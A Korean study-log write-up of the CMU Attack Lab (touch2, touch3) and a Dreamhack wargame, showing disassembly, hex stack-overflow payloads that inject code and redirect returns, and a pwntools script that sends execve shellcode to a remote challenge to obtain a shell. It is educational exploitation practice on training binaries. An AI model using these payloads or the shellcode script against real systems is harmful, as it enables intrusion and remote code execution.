이번 회차는 아래 두 가지에 대해 학습했다.
CMU Attack Lab touch2와 touch3을 성공시키는 것을 목표로 했다.
pwndbg> disas touch2
Dump of assembler code for function touch2:
0x00000000004017ec <+0>: sub rsp,0x8
0x00000000004017f0 <+4>: mov edx,edi
0x00000000004017f2 <+6>: mov DWORD PTR [rip+0x202ce0],0x2 # 0x6044dc <vlevel>
0x00000000004017fc <+16>: cmp edi,DWORD PTR [rip+0x202ce2] # 0x6044e4 <cookie>
0x0000000000401802 <+22>: jne 0x401824 <touch2+56>
0x0000000000401804 <+24>: mov esi,0x4030e8
0x0000000000401809 <+29>: mov edi,0x1
0x000000000040180e <+34>: mov eax,0x0
0x0000000000401813 <+39>: call 0x400df0 <__printf_chk@plt>
0x0000000000401818 <+44>: mov edi,0x2
0x000000000040181d <+49>: call 0x401c8d <validate>
0x0000000000401822 <+54>: jmp 0x401842 <touch2+86>
0x0000000000401824 <+56>: mov esi,0x403110
0x0000000000401829 <+61>: mov edi,0x1
0x000000000040182e <+66>: mov eax,0x0
0x0000000000401833 <+71>: call 0x400df0 <__printf_chk@plt>
0x0000000000401838 <+76>: mov edi,0x2
0x000000000040183d <+81>: call 0x401d4f <fail>
0x0000000000401842 <+86>: mov edi,0x0
0x0000000000401847 <+91>: call 0x400e40 <exit@plt>
End of assembler dump.
touch2를 성공시키려면 edi가 cookie와 같아야 한다.
cookie의 값은 0x59b997fa 이다.
getbuf SBO로 return address를 touch2로 할 뿐만 아니라 edi 값도 바꿔야 한다.
bf fa 97 b9 59 : mov edi, 0x59b997fa
c3 : retq
와 같이 edi 값을 설정할 수 있다.
이를 실행시키기 위해서는 return address를 위 instruction이 있는 주소로 SBO를 할 필요가 있다.
gdb로 getbuf의 rsp값을 추적하여 0x5561dc78 임을 알아냈다.
또, 위 instruction을 수행하여 retq를 할 경우 rsp를 0x8만큼 증가시키기 때문에 추가로 8바이트를 사용하여 touch2의 주소인 0x4017ec 를 작성한다.
결과는 아래와 같다.
bf fa 97 b9 59 c3 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00
(2025.09.29 추가)
printf의 rsp 정렬을 SIGSEGV 문제를 피하려면 아래와 같이 해야한다.
bf fa 97 b9 59 : mov edi, 0x59b997fa
68 ec 17 40 00 : pushq 0x4017ec
c3 : ret
bf fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
pwndbg> disas touch3
Dump of assembler code for function touch3:
0x00000000004018fa <+0>: push rbx
0x00000000004018fb <+1>: mov rbx,rdi
0x00000000004018fe <+4>: mov DWORD PTR [rip+0x202bd4],0x3 # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov rsi,rdi
0x000000000040190b <+17>: mov edi,DWORD PTR [rip+0x202bd3] # 0x6044e4 <cookie>
0x0000000000401911 <+23>: call 0x40184c <hexmatch>
0x0000000000401916 <+28>: test eax,eax
0x0000000000401918 <+30>: je 0x40193d <touch3+67>
0x000000000040191a <+32>: mov rdx,rbx
0x000000000040191d <+35>: mov esi,0x403138
0x0000000000401922 <+40>: mov edi,0x1
0x0000000000401927 <+45>: mov eax,0x0
0x000000000040192c <+50>: call 0x400df0 <__printf_chk@plt>
0x0000000000401931 <+55>: mov edi,0x3
0x0000000000401936 <+60>: call 0x401c8d <validate>
0x000000000040193b <+65>: jmp 0x40195e <touch3+100>
0x000000000040193d <+67>: mov rdx,rbx
0x0000000000401940 <+70>: mov esi,0x403160
0x0000000000401945 <+75>: mov edi,0x1
0x000000000040194a <+80>: mov eax,0x0
0x000000000040194f <+85>: call 0x400df0 <__printf_chk@plt>
0x0000000000401954 <+90>: mov edi,0x3
0x0000000000401959 <+95>: call 0x401d4f <fail>
0x000000000040195e <+100>: mov edi,0x0
0x0000000000401963 <+105>: call 0x400e40 <exit@plt>
End of assembler dump.
hexmatch 함수는 정수와 문자열을 비교하는 함수이다.
cookie의 값인 0x59b997fa 와 내 입력인 문자열 rdi랑 비교한다.
즉, rdi를 문자열 59b997fa 로 하면 touch3을 성공시킬 수 있다.
이 문자열은 hex로 35 39 62 39 39 37 66 61 00 이다.
문자열의 끝을 명시하기 위해 0x00을 포함시킨다.
rdi의 값은 문자열의 주소이므로 적당히 rsp + 0x30 인 0x5561dca8 을 사용했다.
48 c7 c7 a8 dc 61 55 : mov 0x5561dca8, rdi
68 fa 18 40 00 : pushq 0x4018fa
c3 : retq
touch2와 마찬가지로 하여 아래와 같은 결과가 나왔다.
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
처음에는 단순히 아래와 같이 실행하면 성공할 줄 알았으나,
할당 해제된 공간에 문자열이 있어, hexmatch 부근에서 이 공간을 재활용하기 때문에 문자열이 알수 없는 값으로 변경된다.
또, sprintf에서 어떤 검사를 하는지 SIGSEGV로 프로그램이 종료된다.
touch3를 실행하기 위해 pushq를 사용하니 정상적으로 동작한다.
rsp 관련하여 무언가 있다고 추측한다.
(rsp 주소 정렬과 관련있다고 생각하고 있다.
pushq를 사용하지 않고도 touch3 진입 전에 retq로 rsp를 0x8만큼 더해주면 정상적으로 통과될 것 같다.)
48 c7 c7 80 dc 61 55 c3
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
fa 18 40 00 00 00 00 00
SBO 으로 Shell Code를 입력할 수 있다.
scanf의 %s는 \x00 또는 \x0a 를 기준으로 입력을 받아 asm(shellcraft.sh()) 으로는 의도하지 않은 동작을 할 수 있다.
아래의 파이썬 코드는 Dreamhack 워게임 shell_basic의 exploit code이다.
from pwn import *
import pwnlib.shellcraft
context.arch = "i386"
context.log_level = 'debug'
p = remote(address, port)
msg = str(p.recvline())
buf_addr = int(msg.split("(")[1].split(")")[0], 16)
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
code = shellcode
code += b'A' * (0x80 - len(code)) # buf padding
code += b'B' * 0x4 # SFP padding
code += p32(buf_addr) # return address
p.sendline(code)
p.interactive()
위 코드를 실행하여 쉘을 획득할 수 있다.
Shell Code는 어셈블리로 syscall 등을 작성하여 기계어로 변환한 것이다.
다음 회차에는 아래 두 가지를 목표로 할 생각이다.